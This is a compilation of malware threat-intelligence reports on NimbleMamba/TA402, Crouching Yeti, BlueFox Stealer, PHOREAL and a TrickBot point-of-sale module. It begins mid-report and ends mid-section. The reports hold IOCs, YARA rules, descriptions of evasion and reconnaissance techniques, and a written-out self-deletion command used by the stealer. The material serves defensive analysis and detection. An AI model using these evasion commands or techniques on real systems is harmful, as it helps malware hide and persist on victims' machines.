NimbleMamba is written in C# and delivered as an obfuscated .NET executable using third-party obfuscators. Both samples analyzed used the SmartAssembly obfuscator. Additionally, the malware does basic virtual machine checks to avoid detection by looking for common strings that indicate a sample is running in a virtual environment.
### Guardrails
NimbleMamba contains multiple guardrails to ensure that the malware only executes on targeted machines. It uses the following IP resolving web services to check the user’s IP address and determine if it fits into the target region. This is done to avoid detection and analysis.
- api.ipify.com
- myexternalip.com
- ip-api.com
- api.ipstack.com
If the machine is unable to connect to those services, the malware will keep calling the addresses in random order, thus putting the execution in an endless loop in closed network environments. The malware will only continue executing if the country of the resolved IP address country code matches one from the following table or if the host computer has an Arabic language pack (code “AR”) installed.
| Code | Country |
|------|---------|
| KW | Kuwait |
| EG | Egypt |
| IL | Israel |
| SA | Saudi Arabia |
| IR | Iran |
| AE | United Arab Emirates |
| TN | Tunisia |
| DZ | Algeria |
| SY | Syria |
| QA | Qatar |
| JO | Jordan |
| OM | Oman |
| PS | Palestine |
| LB | Lebanon |
| LY | Libya |
| SS | South Sudan |
| SSD | South Sudan (Alpha-3 code, probably added by accident) |
| IQ | Iraq |
| YE | Yemen |
| MA | Morocco |
| BH | Bahrain |
### Configuration
NimbleMamba’s configuration is retrieved from a paste on the website JustPasteIt. NimbleMamba takes the current timestamp from an online real-time service to ensure that the timestamp matches the current time. Some computers may have modified time settings, and this method ensures that the time is standardized across infections. The obtained timestamp is then used to generate a JustPasteIt URL.
When there is an active paste under the generated URL, it should look like this:
The data taken from the paste service is split by “#” and then each split by “=” to form the following two key-value pairs.
| Key | Value |
|-----|-------|
| ACSS | IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5-g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5 |
| OOOO | 40,1ckZnB3a45mMpRTTYplNiNmZ |
ACSS contains the obfuscated Dropbox account API auth key that is used for C2 communication. The malware then takes the external IP address, username, and computer name retrieved earlier, writes them as comma-separated strings, base64 encodes them with stripped padding bytes, and then reverses the string. The resulting string is used as a folder name that is created on the Dropbox account using their API with the API key deobfuscated from the JustPasteIt post.
From there, the malware starts communicating with Dropbox to obtain a RAR file and a decoy file that is immediately displayed to the user if present. The decoy file is often an office document or PDF. The RAR file is password-protected with a password stored as the second comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to the folder pointed by the first parameter in OOOO. The downloaded RAR file contains two additional executables, an updated sample of NimbleMamba along with an executable that contains a screenshot of the functionality. This technique allows for TA402 to serve additional payloads to targeted NimbleMamba victims.
Pivoting on the JustPasteIt user “Nefaty Benet” (Researcher Note: This account is likely meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the NimbleMamba campaign likely started in August 2021, two months after Proofpoint’s previous research. This timeframe is consistent with the compile dates of the NimbleMamba samples identified in VirusTotal.
### Functionality
NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely designed to be the initial access. Functionalities include capturing screenshots and obtaining process information from the computer. Additionally, it can detect user interaction, such as looking for mouse movement.
## BrittleBush Trojan
Later versions of the RAR files that deliver NimbleMamba also included a small trojan application Proofpoint dubbed BrittleBush. This trojan communicated with easyuploadservice.com and received commands as a base64 encoded JSON structure.
## Attribution
Proofpoint attributes the campaigns to TA402 based on both technical indicators and victimology. The observed attack chains mimic historical TA402 campaigns, some of which are discussed in Proofpoint’s June 2021 research. The phishing campaigns share thematic elements with historical Molerats campaigns. For example, the December 2021 campaign contained a title bearing significant similarities to a 2015 TA402 campaign reported by Kaspersky.
| Campaign | Arabic Title | Translation |
|----------|--------------|-------------|
| 2015 Kaspersky Campaign | “ﺔﺤﻠﺴﻤﻟا تاﻮﻘﻠﻟ مﺎﻌﻟا ﺪﺋﺎﻘﻟا ﻦﯿﺑ ﺔﺑﺮﺴﻣ ﺔﻤﻟﺎﻜﻣ | Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi.exe” |
| December 2021 Campaign | ﺮﻄﻗ ﻲﻓ نﺎﻏودراو نﺎﻤﻠﺳ ﻦﺑ ﻦﯿﺑ يﺮﺳ ءﺎﻘﻟ | Secret meeting between bin Salman and Erdogan in Qatar |
The campaigns observed by Proofpoint likely occurred concurrently to Zscaler’s recently published research on Molerats activity targeting individuals in Palestine & Turkey and demonstrate Molerats continued ability to modify their attack chain based on their intelligence targets.
The significant technical connections between the Dropbox accounts used by the LastConn malware, the account used to deploy NimbleMamba, and the account used to store intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are almost certainly deployed by the same operators. This was based on the findings found during the investigation performed by the Dropbox Security Team, which neutralized all the associated accounts.
Technical intelligence, including analysis of Molerats network activity from TeamCymru, indicates NimbleMamba developers operate in the interest of the Palestinian Territories. The guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic speakers along with computers in the Middle East. Proofpoint observed campaigns targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is consistent with prior Proofpoint and the broader industry’s previously published assessments.
## Conclusion
TA402 continues to be an effective threat actor that demonstrates its persistence with its highly targeted campaigns focused on the Middle East. Based on the variations between campaigns delivering NimbleMamba, along with the historical pattern of developing new malware post-disclosure, Proofpoint judges with moderate confidence that TA402 will continue to update both their implants and infection chains to complicate defensive efforts.
## Indicators of Compromise (IOCs)
| IOC | Type | Description |
|-----|------|-------------|
| 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 | SHA256 | NimbleMamba Sample 1 (Dec 2021 / Jan 2022) |
| c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d | SHA256 | NimbleMamba Sample 2 (Nov 2021) |
| uggboots4sale.com | Domain | Actor-owned domain used for NimbleMamba delivery |
| 925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86 | SHA256 | Additional NimbleMamba Sample found with retro hunt (Oct 2021) |
| easyuploadservice.com | Domain | BrittleBush C2 |
| 2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f | SHA256 | BrittleBush Sample |
## ET Signatures
- 2035112 TA402/Molerats CnC Checkin
- 2035113 TA402/Molerats Payload Downloaded
- 2035120 TA402/Molerats CnC Activity
- 2035121 TA402/Molerats External IP Lookup Activity
- 2035122 TA402/Molerats Related Malware Domain in DNS Lookup
- 2035123 TA402/Molerats Related Malware Domain in DNS Lookup
## YARA Signatures
```yara
rule Proofpoint_Molerats_TA402_NimbleMamba {
meta:
description = "Detects .NET written NimbleMamba malware used by TA402/Molereats"
author = "Proofpoint Threat Research"
disclaimer = "Yara signature created for hunting purposes - not quality controlled within enterprise environment"
hash1 = "430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44"
hash2 = "c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d"
strings:
$dotnet = "#Strings" ascii
$dropbox = "dropboxapi.com" ascii wide
$justpaste = "justpaste.it" wide
$ip_1 = "api.ipstack.com" wide
$ip_2 = "myexternalip.com" wide
$ip_3 = "ip-api.com" wide
$ip_4 = "api.ipify.com" wide
$vm_1 = "VMware|VIRTUAL|A M I|Xen" wide
$vm_2 = "Microsoft|VMWare|Virtual" wide
condition:
uint16be(0) == 0x4D5A and $dotnet and $dropbox and $justpaste and any of ($ip_*) and any of ($vm_*)
}
``` |
# Energetic Bear – Crouching Yeti
## Executive Summary
Energetic Bear/Crouching Yeti is an actor involved in several advanced persistent threat (APT) campaigns that have been active since at least the end of 2010. Targeted sectors include:
- Industrial/machinery
- Manufacturing
- Pharmaceutical
- Construction
- Education
- Information technology
Most of the victims identified fall into the industrial/machinery building sector, indicating this is of special interest.
To infect the victims, the attackers rely on three methods:
- Spearphishing using PDF documents embedded with a flash exploit (CVE-2011-0611)
- Trojanized software installers
- Waterhole attacks using a variety of re-used exploits
During the attacks, Crouching Yeti uses several malware/Trojans, which exclusively infect Windows systems:
- Havex Trojan
- Sysmain Trojan
- The ClientX backdoor
- Karagany backdoor and related stealers
- Lateral movement and second stage tools
For command and control, these connect to a large network of hacked websites. These sites host malware modules, victim information, and issue commands to infected systems. The dozens of known Yeti exploit sites and their referrer sites were legitimate, compromised sites. They ran vulnerable content management systems or vulnerable web applications. None of the exploits used to compromise the servers were known to be zero-day. None of the client-side exploits reused from the open-source Metasploit framework were zero-day.
Overall, we observed about 2,800 victims worldwide, the most prevalent attack tool being the Havex Trojan.
We believe this group is highly determined and focused on a very specific industrial sector of vital interest. It uses a variety of ways to infect its victims and exfiltrate strategic information. The analyzed data seems to suggest the following points:
- It is not currently possible to determine the country of origin. The attackers’ global focus is much broader than power producers.
- Their toolset has remained stable over time.
- Managed, minimal, methodical approach to sustained operation.
- Appropriate use of encryption (symmetric key protected with the attackers' public key for encrypted log file exfiltration).
This report provides technical details on how they perform their operations.
## Analysis
This section analyzes all the aspects we could find about how this actor performs its campaigns. The Crouching Yeti actor performed a massive surveillance operation targeting strategic victims, many of them in the industrial/manufacturing sector. There were different ways of delivering its malware including waterholing, spearphishing, and adding malware to legitimate installers. Once the victims were infected, Crouching Yeti selected different RATs for its operations. These RATs communicated with Command and Control servers on compromised servers around the world, using a simple PHP backend. We were able to identify several victims, including high-profile ones and dozens of domains used in the campaign.
### Delivery
As far as we know, the group behind Crouching Yeti delivers its malware using at least three different methods.
1. **Legitimate software installers**
The first method uses a legitimate software installer repackaged to contain the malicious DLL. Such modified self-extracting archives could have been uploaded directly to a compromised server, replacing the original file, or sent to the victim by email. One example of this method was a hijacked SwissRanger camera driver (libMesaSR version 1.0.14.706) that was used to drop the Sysmain backdoor.
2. **Malicious XDP file – spear-phishing**
The second method relies on a malicious XDP file containing the PDF/SWF exploit (CVE-2011-0611) and was most probably used in spear-phishing attacks. This exploit drops the Havex loader DLL, which is stored in an encrypted form in the XDP file.
3. **Malicious JAR/HTML files – waterholing**
Finally, this actor actively compromises legitimate websites for watering hole attacks. These hacked websites in turn redirect to malicious JAR or HTML files hosted on other sites maintained by the group, which then drop the Havex loader, the Karagany backdoor, and helper tools.
### Malware
The Crouching Yeti group has different tools of choice for their operations. This section describes them from a technical perspective.
1. **The Havex Loader**
The main functionality of this component is to download and load additional DLL modules into memory. These are stored on compromised websites that act as C&C servers.
2. **The Ddex Loader**
This component is a simple downloader with functionality similar to the Havex component. It sends requests to the PHP script at the C&C and looks for specific data in the returned HTML code.
3. **The Sysmain backdoor**
This malware can be described as a classical RAT (Remote Access Trojan), since it gives the attacker a wide range of opportunities to control and interact with the victim machine.
4. **The ClientX backdoor**
This component is written in .NET and is very similar to the Sysmain backdoor. The settings of the RAT are stored in the registry as BASE64 encoded values.
5. **The Karagany Backdoor**
Karagany is a simple backdoor that connects to the C&C and keeps waiting for commands. It can download and run additional executables, load/delete modules, read file content, reboot the computer, update itself, and remove all components.
### C&C servers and victims
The Command and Control Servers are compromised legitimate websites from different countries. In total, we have identified 219 unique domain names for these C&C servers hosted in 21 different countries. The distribution of victims affected by the samples identified according to our KSN data shows that victims infected with samples from any of the Crouching Yeti group’s malware were found in various countries.
### Conclusions
The Crouching Yeti actor has been performing massive surveillance campaigns in recent years, since at least 2010. Their targets included thousands of victims, confirming Crouching Yeti’s interest in several strategic sectors. The distribution strategy of the group focuses on methods following this targeted philosophy, including spear phishing and waterholing. Noticeably, they also compromised legitimate software packages from strategic actors in the SCADA sector in order to infect their final victims. The victim list confirms that the tactic proved successful.
There is nothing especially sophisticated in their exploits or in the malware they used to infect victims. Their RATs are flexible enough to perform surveillance and data exfiltration efficiently. They used dozens of compromised servers as Command and Control domains with a simple, but effective, PHP backend.
However, there is an interesting connection with this group and the LightsOut Exploit Kit for the distribution of its malware in some waterholing attacks. We believe they are likely its only operators as of June 2014.
Thanks to the monitoring of several of the Command and Control domains used by the group, we were able to identify several victims. This victims’ list reinforces the interests shown by the Crouching Yeti actor in strategic targets, but also shows the interest of the group in many other not-so-obvious institutions. We believe they might be collateral victims, but it might also be fair to redefine the Crouching Yeti actor not only as a highly targeted one in a very specific area of interest, but a broad surveillance campaign with interests in different sectors. We will continue monitoring this actor. |
# BlueFox Stealer: A Newcomer Designed for Traffers Teams
This blog post on BlueFox Stealer is an extract of the “FLINT 2022-053 – BlueFox Stealer: a newcomer designed for traffers teams” report (SEKOIA.IO Flash Intelligence) sent to our clients on October 20, 2022.
## Introduction
In 2022, information stealers are one of the most challenging threats for both companies and individuals. Cybercriminal threat actors distribute these malware to steal sensitive information from infected hosts, which are then sold on underground marketplaces, exploited for fraud (Business Email Compromise, E-Shop, Bank, Cryptocurrency theft), or leveraged in “Big Game Hunting” operations.
Malware developers take advantage of a growing demand for MaaS (Malware-as-a-Service) within the cybercrime ecosystem to sell their newly implemented or rebranded information stealers. They use various underground forums, as well as Telegram channels to advertise, manage financial transactions, and offer technical support. SEKOIA.IO monitors cybercrime forums to discover emerging malware, among other threats.
In early September 2022, through our Dark Web monitoring routine, we identified a newly advertised malware dubbed BlueFox Stealer v2, sold as a MaaS. Based on the ads promoting it, the BlueFox developer implemented a stealer tailored to the needs of traffers teams (including wide stealing capabilities, performance, efficiency, adapted to traffers context).
Based on this information, SEKOIA.IO assesses that BlueFox Stealer is possibly to be added to the malware arsenal of traffers teams, similarly to Redline, Vidar, Raccoon Stealer v2, Aurora Stealer, or Erbium Stealer, to be distributed at a large scale. This FLINT goes back to the emergence of BlueFox on cybercrime forums and presents a technical overview of it.
## The Emergence of BlueFox Stealer on Forums
BlueFox Stealer’s first version appeared on Russian-speaking underground forums (XSS, BHF, and DarkNet forums) in December 2021, and it was advertised by a threat actor going by the handle distamx. The lack of interactions on its publications may suggest that the project did not work as expected, for unknown reasons.
On 2 September 2022, the user distamx published a new post announcing version 2 of BlueFox Stealer on the XSS forum. This time, the publication resulted in more activity, including technical and business inquiries, positive feedback, as well as the release and changelogs of multiple updates (versions 2.0.4 to 2.0.7) by the alleged developer.
Among notable changes, the malware developer added an interesting feature to the administration panel of the BlueFox Stealer version 2.0.7 to allow traffers teams to operate the malware builds internally. Thus, traffers teams distributing the BlueFox Stealer have statistics related to each traffer (also named worker) and can give it access – making the integration of the BlueFox Stealer easier into the traffers teams resources. In other words, each traffer of the team can monitor statistics related to the distribution of their build on a non-authenticated webpage, and therefore have an assessment of the impact of their work.
SEKOIA.IO observed that efforts towards facilitating the integration of stealers in the traffers teams’ activities became common for infostealer developers. A second example is Lumma (aka LummaC) Stealer, another emerging malware advertised on Russian-speaking forums and sold as MaaS since August 2022. On 3 October 2022, its author Shamel published an update intended for the traffers teams, integrating a similar feature to display statistics by traffer.
## A Look at Distamx’s Business
The business model adopted by distamx is a classic among MaaS operators. The BlueFox Stealer author sells its malware and the related support services for $350 per month. Based on feedback and changelogs, distamx is very responsive to bug fixes and feature requests.
On 7 October 2022, distamx closed the sales of BlueFox Stealer v2, as the threat actor gained enough clients for work, according to its statement. We assess that the infostealer is under continuous development and the distamx’s workload is sufficiently high with the malware development and customer responsiveness. It is therefore plausible that this will result in an increase of BlueFox activities in the near term if MaaS customers distribute it at large scale.
It is worth mentioning that distamx also advertised the malware in a Telegram channel, similarly to what other MaaS operators were observed doing. BlueFox’s presence on Telegram resulted in scams impersonating distamx to lure potential customers. SEKOIA already observed such scams, notably for Mars Stealer, Aurora Botnet, and Raccoon. These scams are common in the Russian-speaking cybercrime ecosystem, and analysts monitoring malware-related activities should be aware of this so as not to follow false leads when investigating threat actors.
## Technical Overview of BlueFox Stealer
Once an emerging malware appears on cybercrime forums, SEKOIA.IO analysts implement search techniques to retrieve related samples or servers, to produce actionable intelligence to our customers.
### Malware Sample Association
A few weeks after the launch of BlueFox Stealer v2, we retrieved BlueFox-related malware samples. Here are the main technical details allowing SEKOIA to confirm association of these samples to BlueFox Stealer with high confidence:
| BlueFox Stealer v2 features, as described in their publications | SEKOIA.IO’s commentary |
|---------------------------------------------------------------|------------------------|
| Update 2.04 to 2.0.7 | We observed samples named BlueFox2.0.4, BlueFox2.0.5, BlueFox2.0.7, and BlueFox2.0.8. |
| “Native x86 executable with no CRT, running .NET in memory” | The .NET sample has no dependencies. |
| “The size is still about 165 kb.” | The stand-alone malware is 162.5KB. |
| “Native protocol on TCP/IP in encrypted form” | The malware communicates over TCP using a custom protocol, and data is encrypted. |
| “Collection … from Chromium, Edge and Firefox-based” | The malware accesses data from Google Chrome, Firefox, and Microsoft Edge files. |
| “Self-delete executable after sending log file.” | Analysed sample deletes itself from the infected host using the command “cmd.exe /C timeout 5 & del”. |
| “Collect PC data” | The sample reads several Windows Registry keys to fingerprint the infected host. |
| “… grabber to search all drives and flash drives.” | The malware enumerates physical storage devices. |
### BlueFox Stealer Malware Capabilities
The BlueFox Stealer v2 capabilities advertised by distamx are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities. Here is an overview of its capabilities:
- Targeting of popular browsers (Chromium and Firefox based browsers: Chrome, Edge, Opera, Mozilla, etc.) to steal passwords, cookies, and autocompletes.
- Targeting of almost all desktop cryptocurrency wallets and extensions for cryptocurrency wallets (MetaMask, TronLink, BinanceChain, Yoroi, Coinbase, Jaxx, Ethereum, Electrum, Exodus, etc.).
- Targeting password extensions (Bitwarden, 1Password).
- File downloading and loading.
- File grabbing in all disks.
- Screenshot capturing.
- System fingerprinting.
BlueFox exfiltrates the collected data to its C2 server using socket communication via native protocol on TCP/IP in encrypted form. The malware removes itself from the infected host using the Windows command `cmd.exe /C timeout 5 & del "$PATH"`.
## Conclusion
SEKOIA.IO assesses that implementing features for monitoring traffers statistics when distributing information-stealing malware is likely to become a must-have to be a relevant player in the cybercrime ecosystem. Based on our observations, such capabilities are already quite common for prevalent loaders used by Pay-Per-Install services, such as SmokeLoader, PrivateLoader, and MixLoader.
To provide our customers with actionable intelligence, SEKOIA.IO analysts will continue to monitor BlueFox, emerging and prevalent infostealers; and keep an eye on the evolution of newcomers.
## Technical Details & IoCs
### BlueFox IoCs
The list of IoCs is available on SEKOIA GitHub repository.
| IOC |
|----------------------------------|
| 31.41.244[.]152:47567 |
| 45.8.147[.]200:51425 |
| 46.148.114[.]177:38990 |
| 45.8.147[.]31:15100 |
| 193.106.191[.]130:17322 |
| 91.241.19[.]49:35767 |
| 79.137.198[.]63:42998 |
| 94.131.107[.]223:51176 |
### BlueFox Samples
- **BlueFox2.0.8**
- 194ef023286a19eea2c084f0d469d3427b97445b0b8fc75888d02274bf01e748
- 36190e8a9976de1036976ed44456ca833d7d2a7f23ed8acc707efe09fca7da9d
- ca6d6555b349612637522e8506592ccaa5b0435f2a9af35aab77520cab495439
- 9ed0f76449bbc6d5d6db12dfc527740c072436c4379248855729321032d91bb7
- 82ce28407b4f0075d288470410df5af7c28e69ab44144bcf4610e6493e99e478
- 80bc9d060c42ada4ad5029a196293280d64257db95f223964ce7881930fab0f6
- 5e14e2582a02b6fe7cb28d6cad80bcddc51be2c01db097b0d292dfd575cb44a9
- **BlueFox2.0.7**
- 7b7714d0bba4aa994d27130165a99d74cf627469f14ad7ba25c51ea0a1e16699
- d8ca57e29b21ef3218877f43f9566f2fdbb11552f901d03234e3e9145c862392
- **BlueFox2.0.5**
- c56a00b4b8ebc12b8798e6ec7ab8e2c9815716fa40bb92488cb3e5c8a227d455
- **BlueFox2.0.4**
- 186f94743c27032ff7401153a52116b4bbbf87c958dd0e2da1c0c111671c0563
### BlueFox Stealer YARA Rule
```yara
rule infostealer_win_bluefox {
meta:
malware = "BlueFox"
description = "Find BlueFox Stealer v2 samples based on the specific strings embedded in the executable files"
source = "SEKOIA.IO"
classification = "TLP:CLEAR"
strings:
$str01 = "DesktopScreenshotLength" ascii
$str02 = "SoftwareSearchesCount" ascii
$str03 = "AutoCompleteLength" ascii
$str04 = "DesktopSizeLength" ascii
$str05 = "CPULength" ascii
$str06 = "GPUsLength" ascii
$str07 = "FullNameLength" ascii
$str08 = "Asn1NssLength" ascii
$str09 = "LoginLength" ascii
$str10 = "BrowserCount" ascii
condition:
uint16(0)==0x5A4D and 9 of them
}
```
### MITRE ATT&CK TTPs for BlueFox Stealer
| Tactic | Technique |
|--------------------------|----------------------------------------------------|
| Execution | T1059.003 – Command and Scripting Interpreter: Windows Command Shell |
| Defense Evasion | T1027 – Obfuscated Files or Information |
| Defense Evasion | T1036 – Masquerading |
| Defense Evasion | T1070.004 – Indicator Removal on Host: File Deletion |
| Defense Evasion | T1140 – Deobfuscate/Decode Files or Information |
| Credential Access | T1539 – Steal Web Session Cookie |
| Discovery | T1012 – Query Registry |
| Discovery | T1082 – System Information Discovery |
| Discovery | T1083 – File and Directory Discovery |
| Discovery | T1614 – System Location Discovery |
| Collection | T1005 – Data from Local System |
| Collection | T1113 – Screen Capture |
| Collection | T1119 – Automated Collection |
| Command and Control | T1071.001 – Application Layer Protocol: Web Protocols |
| Command and Control | T1105 – Ingress Tool Transfer |
| Command and Control | T1571 – Non-Standard Port |
| Exfiltration | T1041 – Exfiltration Over C2 Channel | |
# PHOREAL Malware Targets the Southeast Asian Financial Sector
## Preamble
Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.
## What is the threat?
PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).
## What is the impact?
APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.
## What is Elastic doing about it?
Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.
## Investigation Details
While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.
With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:
- Targeted process is a signed Windows binary
- Unsigned loaded .dll
Starting module from the alerting thread:
```json
{
"pe": {
"original_file_name": "CONTROL.EXE"
},
"name": "control.exe",
"pid": 5284,
"thread": {
"Ext": {
"start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll"
}
}
}
```
From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\\Windows\\SysWOW64\\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.
Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.
In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.
Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.
Converted YARA strings:
```yara
strings:
$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00 30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00 31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00 2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00 45 00 35 00 7D 00 }
$a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00 33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00 32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00 37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }
$a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39 34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }
$str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E 00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
2 of them
```
This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.
Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.
The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.
## Analysis
Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.
## Adversary Assessment Justification
We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.
## Conclusion
### YARA Rules
We have created a YARA rule to identify this PHOREAL activity.
### Defensive Recommendations
The following steps can be leveraged to improve a network’s protective posture:
1. Enable Elastic Security Memory Protection on Windows endpoints
2. Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
3. Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.
### References
The following research was referenced throughout the document:
#### Observables
| Indicator | Type | Reference | Notes |
|-------------------------------|--------|-----------|-----------------------------------------|
| thelivemusicgroup[.]com | domain | | C2 domain encrypted in malware |
| 103.75.117[.]250 | ipv4 | | Resolved IP of thelivemusicgroup[.]com |
| ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33 | SHA256 | tscon32.dll | PHOREAL dll |
Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.
Last update: March 8, 2022
Created: March 7, 2022 |
# Let’s Learn: Introducing Latest TrickBot Point-of-Sale Finder Module
**Goal:** Analyze the latest TrickBot point-of-sale finder “psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP).
**Source:** Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5: 4fce2da754c9a1ac06ad11a46d215d23)
## Outline
I. Background
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
V. TrickBot Point-of-Sale Finder Module POST Command
VI. Yara Signature
## I. Background
This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information. The group behind the TrickBot malware development remains one of the most resourceful in the e-crime ecosystem, continuously releasing various modules (for example, password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but is used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season, highlighting the group's interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.
## II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
This tiny "psfin32" module DLL, with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called "dll[.]dll." The module itself consists of only 24 functions. The decoded Trickbot "pfin32Dll" module contains the usual Trickbot export functions: Control, FreeBuffer, Release, Start.
## III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
The latest module visually resembles their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).
## IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. The LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of "GC://" binding to the root of the namespace. "GC:" uses the LDAP provider to bind to the Global Catalog service to execute queries. The module queries for DOMAIN Global Catalog the following accesses: COMPUTERS, USERS, GROUPS, SITES, OUs. The point-of-sale key terms of interest are as follows:
- *POS*
- *REG*
- *CASH*
- *LANE*
- *STORE*
- *RETAIL*
- *BOH*
- *ALOHA*
- *MICROS*
- *TERM*
## V. TrickBot Point-of-Sale Finder Module POST Command
